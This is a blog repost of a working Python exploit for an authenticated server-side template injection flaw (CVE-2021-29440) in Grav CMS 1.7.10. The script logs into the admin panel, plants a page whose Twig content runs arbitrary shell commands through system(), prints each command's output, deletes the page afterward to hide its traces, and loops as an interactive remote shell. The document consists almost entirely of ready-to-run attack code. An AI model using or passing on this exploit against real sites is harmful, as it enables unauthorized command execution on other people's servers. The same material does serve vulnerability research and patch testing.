Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106787

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Author: enox
# Date: 06-06-2021
# Vendor: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10
# Vulnerable Version(s): Grav CMS 1.7.10
# CVE: CVE-2021-29440
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.

#!/usr/bin/python

import requests
from bs4 import BeautifulSoup
import random
import string


username = 'username'
password = 'password'
url = 'http://grav.local'


session = requests.Session()

# Autheticating
## Getting login-nonce
def login(url,username,password):
	r = session.get(url + "/admin")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[2])
	nonce = nonce[47:79]

	## Logging in
	payload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}
	r = session.post(url+"/admin",data=payload,headers=headers)


# Creating Page for RCE

def rce(url,cmd):
	## Getting form nonce and unique form id
	project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))
	r = session.get(url+f"/admin/pages/{project_name}/:add")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[72])
	form_id = str(soup.findAll('input')[71])
	form_id = form_id[54:86]
	nonce = nonce[46:78]

	## Creating Page
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}
	payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
	r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)

	## Getting command output
	r = session.get(url+f"/{project_name.lower()}")
	if 'SyntaxError' in r.text:
		print("[-] Command error")
	else:
		a = r.text.split('<section id="body-wrapper" class="section">')
		b = a[1].split('</section>')
		print(b[0][58:])


	# Cleaning up
	## Getting admin-nonce
	r = session.get(url + "/admin/pages")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[32])
	nonce = nonce[47:79]

	## Deleting Page
	r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")

login(url,username,password)

while True:
	cmd = input("$ ")
	rce(url,cmd)